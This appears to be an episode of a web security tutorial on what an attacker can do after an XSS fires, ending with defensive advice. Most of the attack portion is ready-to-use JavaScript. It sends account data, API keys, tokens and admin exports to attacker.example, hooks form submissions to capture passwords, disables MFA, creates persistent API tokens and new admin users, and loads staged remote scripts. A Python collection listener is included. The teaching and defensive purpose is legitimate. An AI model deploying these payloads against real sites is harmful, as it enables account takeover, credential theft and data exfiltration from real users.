By Episode 4, we’ve already learned how to make JavaScript execute in hostile conditions. But execution is not impact. Real assessments are won when you can answer the question every client, triager, or blue team lead actually cares about: “So what can an attacker do with this XSS?” This episode is about turning a browser foothold into outcomes—account takeover, sensitive data exposure, privileged action abuse, and application pivoting—while staying grounded in realistic browser behavior, modern auth patterns, and defensible reporting. The goal is not to fetishize alert(1) or token theft folklore. It’s to build a disciplined post-XSS exploitation model: what security context did we land in, what trust does that browser session hold, what can we read, what can we trigger, and what can we exfiltrate without breaking the chain?
From code execution to business impact
Once XSS fires, you inherit the victim browser’s relationship with the target origin. That relationship may include:
- Authenticated cookies automatically attached to same-origin requests
- Read access to DOM-rendered secrets, account data, CSRF tokens, and API responses
- Ability to issue privileged actions as the victim
- Access to app state stored in JavaScript variables,
localStorage,sessionStorage, IndexedDB, or in-memory stores - Reach into internal-only admin surfaces exposed to privileged users
- Pivot paths into same-origin APIs that are not directly reachable cross-origin
That means XSS impact usually falls into four buckets:
- Session riding: perform actions using the victim’s authenticated browser
- Data theft: read and exfiltrate sensitive content available to the page
- Credential or token capture: steal reusable auth material if it is script-accessible
- Privilege pivoting: abuse the victim’s role to reach admin functions, billing actions, secrets, or internal tools
The first mental shift: do not assume token theft is required for account takeover. In many modern apps, HttpOnly cookies block direct cookie reads, but XSS still gives full power to act as the user inside that session.
Post-XSS exploitation model
Use a quick triage checklist after you get execution:
1. What origin and path am I in?
Your capabilities depend on same-origin access.
console.log(location.origin, location.pathname);
Questions to answer:
- Is this the main app origin or a low-value marketing subdomain?
- Is the XSS on an admin panel, support dashboard, or user settings page?
- Does the page already contain sensitive data or bootstrap state?
2. What auth model is in play?
Look for:
HttpOnlysession cookies: usable for authenticated requests, not directly readable- Bearer tokens in
localStorage/sessionStorage - CSRF tokens in DOM, meta tags, hidden inputs, or JS config objects
- SPA bootstrap state with user profile, permissions, tenant IDs, feature flags
Useful recon:
console.log(document.cookie); // only non-HttpOnly cookies
console.log(localStorage);
console.log(sessionStorage);
Search the DOM for anti-CSRF material:
[...document.querySelectorAll('input[type=hidden], meta')]
.map(e => ({
tag: e.tagName,
name: e.name || e.getAttribute('name') || e.getAttribute('property'),
id: e.id,
value: e.value || e.content
}))
.filter(x => /csrf|token|auth|nonce/i.test(JSON.stringify(x)));
3. What can I read directly?
Common high-value targets:
- Profile/account pages
- Billing details
- API keys
- Access tokens rendered into JS
- Internal messages, support tickets, PII
- Admin tables listing users, emails, reset links, secrets
4. What privileged actions can I trigger?
Examples:
- Change email address
- Add SSH key / API token
- Generate password reset or magic login link
- Add OAuth application or personal access token
- Invite attacker-controlled account to workspace
- Disable MFA
- Change recovery phone/email
- Trigger exports containing sensitive data
This is where XSS often becomes practical account takeover even without stealing a cookie.
Reading data: same-origin fetch beats folklore
A lot of people jump straight to document.cookie. That’s often the least interesting path. If your XSS runs on the target origin, you can usually just request same-origin resources as the victim and read the responses.
Example: steal account data from a JSON API
(async () => {
const r = await fetch('/api/account', { credentials: 'include' });
const data = await r.text();
await fetch('https://attacker.example/collect', {
method: 'POST',
mode: 'no-cors',
body: data
});
})();
Why this works:
- Browser automatically includes victim cookies on same-origin
/api/account - XSS can read the response because it is same-origin
- Exfil goes to attacker infrastructure using
no-corsfire-and-forget
A simple collection server for testing:
python3 -m http.server 8000
Better yet, use a tiny listener that logs POST bodies:
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(body.decode(errors='ignore'))
self.send_response(204)
self.end_headers()
HTTPServer(('0.0.0.0', 8000), H).serve_forever()
Exfil payload with encoding
(async () => {
const r = await fetch('/settings/api-keys', { credentials: 'include' });
const body = await r.text();
navigator.sendBeacon(
'https://attacker.example/log',
new Blob([body], { type: 'text/plain' })
);
})();
sendBeacon() is useful because it’s low-friction and survives page unloads better than fetch() in some cases.
Harvesting CSRF tokens and abusing privileged actions
If the target still uses CSRF defenses, XSS usually neutralizes them because the script runs in the trusted origin and can read the token from the DOM or app state.
Example: extract token from a hidden input and change email
(async () => {
const csrf = document.querySelector('input[name=csrf_token]')?.value;
if (!csrf) return;
await fetch('/account/email', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
email: 'attacker@evil.example',
csrf_token: csrf
})
});
})();
Example: token from a meta tag
const token = document.querySelector('meta[name="csrf-token"]')?.content;
Example: abuse a JSON API with a framework-provided token
(async () => {
const token = window.__BOOTSTRAP__?.csrfToken || window.app?.csrf;
const res = await fetch('/api/users/me/mfa/disable', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({ confirm: true })
});
console.log(await res.text());
})();
This is one of the most important post-XSS lessons: CSRF protections stop cross-site attackers, not same-origin script execution.
Account takeover without stealing the session cookie
When cookies are HttpOnly, many testers incorrectly downgrade impact. Don’t. Focus on persistent account control.
Reliable takeover primitives
- Change primary email address
- Add secondary email/recovery address
- Disable MFA
- Enroll attacker-controlled MFA device
- Generate long-lived API token
- Create OAuth app / PAT / session token
- Add attacker account to organization with admin role
- Trigger “magic link” login to attacker-controlled mailbox
- Change password if current password is not required
- Start support-assisted flows from the victim session
Example: create a persistent API token
(async () => {
const csrf = document.querySelector('meta[name="csrf-token"]')?.content;
const r = await fetch('/settings/tokens', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrf
},
body: JSON.stringify({
name: 'backup-integration',
scope: ['read', 'write']
})
});
const data = await r.text();
navigator.sendBeacon('https://attacker.example/token', data);
})();
If the response contains the token only once at creation time, this is often a stronger finding than cookie theft because it survives logout and may be valid from anywhere.
Example: invite attacker into a workspace
(async () => {
const csrf = document.querySelector('input[name=csrf]')?.value;
await fetch('/org/members/invite', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
email: 'attacker@evil.example',
role: 'admin',
csrf
})
});
})();
This is business-impact gold in bug bounty reports because it demonstrates durable privilege escalation, not just transient browser abuse.
Extracting secrets from modern frontends
SPAs often leak more than classic server-rendered apps because sensitive state gets serialized into the page.
Common places to inspect
window.__INITIAL_STATE__window.__NEXT_DATA__window.__APOLLO_STATE__- Redux stores
- Hidden JSON script tags
- In-memory config objects
- IndexedDB caches
Example: dumping obvious globals
for (const k of Object.keys(window)) {
if (/token|auth|csrf|secret|key|user|state/i.test(k)) {
try { console.log(k, window[k]); } catch {}
}
}
Example: exfil Next.js bootstrap data
const el = document.getElementById('__NEXT_DATA__');
if (el) {
navigator.sendBeacon('https://attacker.example/next', el.textContent);
}
IndexedDB extraction
Many apps cache profile data, drafts, or tokens in IndexedDB.
(async () => {
const dbs = await indexedDB.databases?.() || [];
for (const dbInfo of dbs) {
console.log(dbInfo.name);
}
})();
Reading IndexedDB fully is app-specific, but the point is strategic: XSS gives access to browser-side persistence tied to the origin, not just the current DOM.
Internal API pivoting and admin surface abuse
One of the highest-value XSS chains is landing in a user-accessible page that an administrator also visits. Stored XSS in support tickets, audit logs, markdown previews, comments, or notification feeds often becomes an admin browser implant.
Once an admin loads the payload, your script can:
- Read privileged admin pages
- Trigger user-management actions
- Export data
- Rotate credentials
- Access internal-only endpoints exposed through the same origin
Example: read admin-only user export
(async () => {
const r = await fetch('/admin/export/users.csv', { credentials: 'include' });
const csv = await r.text();
navigator.sendBeacon('https://attacker.example/users', csv);
})();
Example: create a new admin user
(async () => {
const page = await fetch('/admin/users/new', { credentials: 'include' }).then(r => r.text());
const m = page.match(/name="csrf_token"\s+value="([^"]+)"/i);
if (!m) return;
const csrf = m[1];
await fetch('/admin/users', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
email: 'attacker@evil.example',
role: 'admin',
password: 'NotUsedInRealTesting123!',
csrf_token: csrf
})
});
})();
That pattern matters in real-world triage: stored XSS + privileged viewer = role escalation.
Stealing non-HttpOnly tokens from storage
Yes, sometimes the old-school path still exists. Many SPAs keep bearer tokens in localStorage or sessionStorage, which XSS can read directly.
const access = localStorage.getItem('access_token');
const refresh = localStorage.getItem('refresh_token');
navigator.sendBeacon(
'https://attacker.example/tokens',
JSON.stringify({ access, refresh })
);
If the app uses an authorization header for APIs, inspect monkey-patchable fetch/XHR wrappers too:
const origFetch = window.fetch;
window.fetch = async (...args) => {
console.log('fetch args:', args);
const res = await origFetch(...args);
return res;
};
Or inspect app config:
console.log(window.axios?.defaults?.headers);
This can reveal bearer tokens, tenant identifiers, or internal API endpoints.
Credential capture in the browser
Another practical chain is credential interception, not just token theft.
Hooking form submission
document.addEventListener('submit', e => {
const form = e.target;
const fd = new FormData(form);
const data = [...fd.entries()];
navigator.sendBeacon('https://attacker.example/form', JSON.stringify({
action: form.action,
data
}));
}, true);
Hooking password changes or reauthentication prompts
Many sensitive actions require the user to re-enter a password. XSS can wait for that event and capture it.
This is especially relevant in admin consoles or enterprise apps with step-up authentication.
Chaining XSS with CSRF-like cross-origin impact
XSS often allows you to trigger actions on the vulnerable origin directly, but it can also be used to pivot into other trust relationships:
- Trigger SSO/OAuth authorization flows already authenticated in the browser
- Abuse integrations with cloud consoles, internal tools, or partner apps
- Use the victim browser to call intranet apps if the vulnerable origin can reach them via same-origin backend endpoints or trusted embeds
Be careful here: stay evidence-based. Don’t claim “full internal network compromise” unless you actually demonstrate a browser-reachable path.
Operational tradecraft: keep the chain stable
Post-XSS exploitation often fails because payloads are noisy or brittle.
Prefer staged payloads
Use a tiny bootstrapper that loads controlled logic:
<script src="https://attacker.example/p.js"></script>
Or if inline execution is all you have:
(()=>{let s=document.createElement('script');s.src='https://attacker.example/p.js';document.head.appendChild(s)})()
Advantages:
- Easier iteration
- Better logging
- Smaller initial payload
- Can adapt based on victim role or page content
Add role-aware logic
(async () => {
const me = await fetch('/api/me', { credentials: 'include' }).then(r => r.json());
if (me.role === 'admin') {
const data = await fetch('/admin/secrets', { credentials: 'include' }).then(r => r.text());
navigator.sendBeacon('https://attacker.example/admin', data);
}
})();
Avoid breaking the user flow
- Use background requests
- Don’t visibly redirect unless necessary
- Don’t spam alerts or obvious UI changes
- Keep exfil small and targeted
The best real-world XSS chains are often invisible to the victim.
Reporting impact correctly
For advanced audiences, impact quality matters as much as exploitability.
Weak report
“XSS could steal cookies.”
This is often wrong or overstated if cookies are HttpOnly.
Strong report
“The XSS executes in an authenticated same-origin context and can read CSRF tokens, issue privileged requests, and exfiltrate same-origin API responses. In testing, it was used to create a persistent API token and retrieve account PII, resulting in practical account takeover and sensitive data exposure.”
That language is precise, modern, and defensible.
Good evidence to include
- Exact victim role required
- Whether interaction is needed
- Which data was readable
- Which privileged action was successfully performed
- Whether persistence was achieved
- Whether impact depends on admin viewing attacker content
- Whether
HttpOnlycookies reduce only one theft path, not browser-session abuse
Defenses: reducing blast radius after XSS lands
We’ll go deep on CSP, Trusted Types, and sanitizers next episode. Here, focus on impact containment. Assume XSS happens. What limits damage?
1. Keep auth material out of script-reachable storage
Prefer:
HttpOnly,Secure,SameSitecookies for session identifiers
Avoid:
- Long-lived bearer tokens in
localStorage
This does not stop session riding, but it prevents trivial token replay from another machine.
2. Re-authenticate sensitive actions
Require current password, WebAuthn, or step-up auth for:
- Email changes
- MFA changes
- Password resets
- API token creation
- OAuth app creation
- Billing changes
Important caveat: if the reauth prompt itself is fully script-readable and script-submittable, XSS may still bypass it or phish credentials in-page.
3. Bind high-risk actions to stronger signals
Examples:
- WebAuthn confirmation for security settings
- Out-of-band confirmation emails for email changes
- Delayed activation of recovery changes
- Admin action approvals
- Session freshness checks
4. Minimize sensitive data in the DOM and bootstrap state
Do not serialize secrets into page HTML unless absolutely required.
Bad pattern:
<script>
window.__BOOTSTRAP__ = {
apiKey: "secret-value",
csrfToken: "token",
user: {...}
}
</script>
Better:
- Fetch data on demand
- Scope data to least privilege
- Avoid exposing admin-only data in shared templates
5. Server-side authorization on every action
Never trust the client UI to gate admin functions. XSS loves hidden buttons and undocumented endpoints.
6. Detect anomalous in-session behavior
Monitoring ideas:
- New API token creation followed by unusual API use
- Email/MFA changes from existing sessions
- Bulk export requests from uncommon routes
- Admin actions triggered from pages that normally should not generate them
7. Segregate admin surfaces
Use separate origins for admin panels where possible. That way, XSS in the user app does not automatically inherit admin-origin access.
A realistic exploitation workflow
When you have a confirmed XSS, move in this order:
- Identify origin and victim role
- Enumerate readable state: DOM, globals, storage, API responses
- Find anti-CSRF and auth mechanisms
- Test one high-value action safely
- Escalate to persistence if in scope: API token, email change, invite attacker account
- Collect only necessary proof
- Document exact prerequisites and blast radius
That workflow keeps you focused on business impact instead of gadget collecting.
Closing thoughts
XSS is not “just JavaScript execution.” In modern web apps, it is often a same-origin post-auth compromise primitive. Even when HttpOnly cookies, SameSite, and CSRF tokens are present, a well-placed XSS can still read sensitive data, mint durable access, and abuse privileged workflows from inside the victim’s trust boundary. The best testers understand that the exploit is only half the job; the other half is proving realistic impact with precision and restraint.
In the next episode, we’ll tackle the controls designed to stop exactly this kind of chain—CSP, Trusted Types, and sanitizers—and, more importantly, how they fail in practice and how to harden them correctly.